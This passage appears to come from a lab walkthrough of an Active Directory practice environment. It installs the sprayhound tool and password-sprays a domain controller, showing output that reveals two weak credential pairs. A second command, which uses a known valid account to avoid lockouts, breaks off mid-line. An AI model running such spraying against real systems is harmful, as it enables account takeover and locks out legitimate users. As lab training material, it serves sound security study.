Install

python3 -m pip install sprayhound

sprayhound -U North_ad.txt -d north.sevenkingdoms.local -dc 192.168.138.11
[!] BEWARE ! You are going to test user/pass without providing a valid domain user
[!] Without a valid domain user, tested account may be locked out as we're not able to determine password policy and bad password count
    Continue anyway? [y/N] y
[+] 16 users will be tested
[+] 0 users will not be tested
    Continue? [Y/n] y
[+] [  VALID  ] vagrant : vagrant
[+] [  VALID  ] hodor : hodor
[+] 2 user(s) have been owned !
    Do you want to set them as 'owned' in Bloodhound ? [Y/n] n
[!] Ok, master. Bye.

We could try sprayhound with a valid user to avoid locking account (option -t to set the number of try left)

sprayhound -U users.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -